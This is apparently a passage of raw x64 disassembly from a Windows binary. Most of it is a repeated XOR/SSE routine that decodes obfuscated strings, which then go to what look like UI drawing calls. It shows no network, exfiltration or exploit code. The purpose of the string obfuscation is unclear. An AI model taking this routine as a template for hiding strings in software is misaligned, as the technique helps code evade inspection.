packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140050900
jmp 0x140050a45
lea r9, [rbp + 0x348]
mov r8d, r14d
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140050a11
movaps xmm0, xmmword [0x1400f8720]
lea rcx, [rbp + 0x680]
movups xmmword [rbp + 0x680], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8520]
test eax, 0xff000000
je 0x140050b1a
lea rax, [rbp + 0x348]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050a90
lea rdx, [rbp + 0x348]
add rdx, rcx
lea rax, [rbp + 0x348]
cmp rax, rdx
je 0x140050b1a
test r12, r12
jne 0x140050abc
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x348]
movss dword [rsp + 0x40], xmm12
mov rcx, r8
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm9
mov dword [rsp + 0x20], r9d
movss xmm9, dword [0x1400f84c8]
unpcklps xmm0, xmm1
movaps xmm2, xmm9
movq r9, xmm0
call fcn.140033470
jmp 0x140050b23
movss xmm9, dword [0x1400f84c8]
mov eax, dword [0x1400f7b70]
mov r8d, r14d
mov dword [rbp + 0x78], eax
movzx eax, word [0x1400f7b74]
mov word [rbp + 0x7c], ax
movzx eax, byte [0x1400f7b76]
mov byte [rbp + 0x7e], al
movups xmm0, xmmword [0x1400f7b60]
movups xmmword [rbp + 0x68], xmm0
cmp r13d, 2
jl 0x140050c9e
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x68]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140050b91
cmp r8d, 0x17
jge 0x140050ce4
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140050cb0
movaps xmm0, xmmword [0x1400f8720]
lea rcx, [rbp + 0x690]
movups xmmword [rbp + 0x690], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r8d, eax
mov rcx, r12
addss xmm1, dword [0x1400f855c]
addss xmm11, dword [0x1400f84e0]
test eax, 0xff000000
je 0x140050da3
lea rdx, [rbp + 0x68]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x140050d30
lea rdx, [rbp + 0x68]
add rdx, rax
lea rax, [rbp + 0x68]
cmp rax, rdx
je 0x140050da3
test r12, r12
jne 0x140050d56
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x68]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm1
movq r9, xmm0
call fcn.140033470
mov eax, dword [0x1400f7ff8]
mov r8d, r14d
mov dword [rbp + 0xd8], eax
movzx eax, byte [0x1400f7ffc]
mov byte [rbp + 0xdc], al
movups xmm0, xmmword [0x1400f7fe8]
movups xmmword [rbp + 0xc8], xmm0
cmp r13d, 2
jl 0x140050f1f
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0xc8]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140050e12
cmp r8d, 0x15
jge 0x140050f64
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140050f30
movaps xmm0, xmmword [0x1400f8740]
lea rcx, [rbp + 0x6a0]
movups xmmword [rbp + 0x6a0], xmm0
call fcn.140003830
mov r9d, eax
mov r8, r12
addss xmm10, dword [0x1400f8564]
test eax, 0xff000000
je 0x140051026
lea rax, [rbp + 0xc8]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140050fa6
lea rdx, [rbp + 0xc8]
add rdx, rcx
lea rax, [rbp + 0xc8]
cmp rax, rdx
je 0x140051026
test r12, r12
jne 0x140050fd2
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0xc8]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm9
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm10
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
cmp byte [0x1400f80a5], 0
movups xmm0, xmmword [0x1400f8088]
mov eax, dword [0x1400f80a0]
mov dword [rbp + 0x3a8], eax
movzx eax, word [0x1400f80a4]
movups xmmword [rbp + 0x390], xmm0
mov word [rbp + 0x3ac], ax
movsd xmm0, qword [0x1400f8098]
movsd qword [rbp + 0x3a0], xmm0
je 0x140051214
mov r8d, r14d
cmp r13d, 2
jl 0x1400511cd
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x390]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400510c0
cmp r8d, 0x1e
jge 0x140051214
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400511e0
movaps xmm0, xmmword [0x1400f8740]
lea rcx, [rbp + 0x6b0]
movups xmmword [rbp + 0x6b0], xmm0
call fcn.140003830
mov r9d, eax
mov r8, r12
test eax, 0xff000000
je 0x1400512d0
lea rax, [rbp + 0x390]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051250
lea rdx, [rbp + 0x390]
add rdx, rcx
lea rax, [rbp + 0x390]
cmp rax, rdx
je 0x1400512d0
test r12, r12
jne 0x14005127c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x390]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm9
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm10
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
cmp byte [0x1400f7b3b], 0
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cg4wg]
mov dword [rbp - 0x10], eax
mov dword [rbp + 0x1e0], 0x42a00000
mov dword [rbp + 0x1e4], 0x41c80000
je 0x140051444
cmp r13d, 2
jl 0x140051408
movdqa xmm3, xmmword [0x1400f8670]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400f87e0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400f87e0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400f8690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f86e0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x10], xmm2
jmp 0x140051444
lea r9, [rbp - 0x10]
mov r8d, r14d
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140051410
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x10]
call fcn.14004bc60
test al, al
jne 0x1400550db
mov rcx, qword [0x1401e29d0]
lea r8, [rbp + 0x158]
mov dl, 1
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x20]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400f8578]
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400f7c74]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1400f7c78]
xor byte [rbp - 0x1f], 0x32
xor al, 0x35
xor byte [rbp - 0x1e], 0x33
xor byte [rbp - 0x1d], 0x34
mov byte [rbp - 0x1c], al
mov dword [rbp + 0x158], 0x42a00000
mov dword [rbp + 0x15c], 0x41c80000
mov byte [rbp - 0x20], 0x52
call fcn.14004c890
test al, al
je 0x140054ecd
mov dword [reloc.WS2_32.dll_accept], 1
jmp 0x140054ecd
cmp eax, 2
jne 0x14005319f
mov rdx, qword [0x1401e2a80]
movaps xmm0, xmm11
movaps xmm1, xmm10
movss dword [rbp + 0x178], xmm11
addss xmm1, dword [0x1400f8574]
addss xmm0, xmm8
movss dword [rbp + 0x17c], xmm10
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov qword [rbp + 0x168], 0
movss dword [rbp + 0x174], xmm1
movss dword [rbp + 0x170], xmm0
cmp rdx, qword [rbx + 0x98]
setne dil
je 0x1400515b8
mov rcx, rbx
call fcn.14002c6d0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.14002c750
lea rax, [rbp + 0x160]
mov dword [rsp + 0x28], 0xffffffff
lea r9, [rbp + 0x168]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x170]
mov rcx, rbx
lea rdx, [rbp + 0x178]
call fcn.14002c870
test dil, dil
je 0x14005162a
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140051612
mov rax, r14
jmp 0x14005161b
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.14002c480
mov rcx, qword [0x1401e29d0]
lea rdx, [rbp + 0x180]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movzx ecx, word [0x1400f7c1c]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cwgagx7]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400f7c1e]
xor byte [rbp - 0x47], 0x32
xor al, 0x37
xor byte [rbp - 0x46], 0x33
xor byte [rbp - 0x45], 0x34
mov word [rbp - 0x44], cx
xor cl, 0x35
xor byte [rbp - 0x43], 0x36
mov byte [rbp - 0x44], cl
lea rcx, [rbp - 0x48]
mov byte [rbp - 0x42], al
mov dword [rbp + 0x180], 0x42a00000
mov dword [rbp + 0x184], 0x41c80000
mov byte [rbp - 0x48], 0x52
call fcn.14004bc60
movups xmm0, xmmword [str.tapues]
test al, al
movzx eax, word [0x1400f8370]
mov word [rbp + 0x50], ax
movzx eax, byte [0x1400f8372]
mov byte [rbp + 0x52], al
movups xmmword [rbp + 0x40], xmm0
je 0x140051736
mov byte [reloc.WS2_32.dll_accept], 1
mov dword [0x1401e2a54], r14d
mov r8d, r14d
mov edi, Ordinal_33
cmp r13d, 2
jl 0x14005188d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x40]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140051780
cmp r8d, 0x13
jge 0x1400518d4
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400518a0
movaps xmm0, xmmword [0x1400f87b0]
lea rcx, [rbp + 0x6c0]
movups xmmword [rbp + 0x6c0], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r8d, eax
mov rcx, r12
addss xmm1, dword [0x1400f8508]
addss xmm11, dword [0x1400f84d8]
test eax, 0xff000000
je 0x140051993
lea rdx, [rbp + 0x40]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x140051920
lea rdx, [rbp + 0x40]
add rdx, rax
lea rax, [rbp + 0x40]
cmp rax, rdx
je 0x140051993
test r12, r12
jne 0x140051946
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x40]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm1
movq r9, xmm0
call fcn.140033470
mov eax, dword [0x1400f7bc0]
mov r8d, r14d
mov dword [rbp + 0x340], eax
movzx eax, word [0x1400f7bc4]
mov word [rbp + 0x344], ax
movups xmm0, xmmword [str.swpxs]
movups xmm1, xmmword [0x1400f7ba8]
movups xmmword [rbp + 0x318], xmm0
movsd xmm0, qword [0x1400f7bb8]
movsd qword [rbp + 0x338], xmm0
movups xmmword [rbp + 0x328], xmm1
cmp r13d, 2
jl 0x140051b2e
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x318]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140051a21
cmp r8d, 0x2e
jge 0x140051b74
movsxd rax, r8d
lea r9, [rbp + 0x318]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140051b40
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x6d0]
movups xmmword [rbp + 0x6d0], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8520]
test eax, 0xff000000
je 0x140051c3f
lea rax, [rbp + 0x318]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051bc0
lea rdx, [rbp + 0x318]
add rdx, rcx
lea rax, [rbp + 0x318]
cmp rax, rdx
je 0x140051c3f
test r12, r12
jne 0x140051bec
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x318]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f7c48]
mov r8d, r14d
mov word [rbp + 0x3d8], ax
movups xmm0, xmmword [str.arm]
movups xmm1, xmmword [0x1400f7c30]
movups xmmword [rbp + 0x3b0], xmm0
movsd xmm0, qword [0x1400f7c40]
movsd qword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3c0], xmm1
cmp r13d, 2
jl 0x140051dce
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x3b0]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
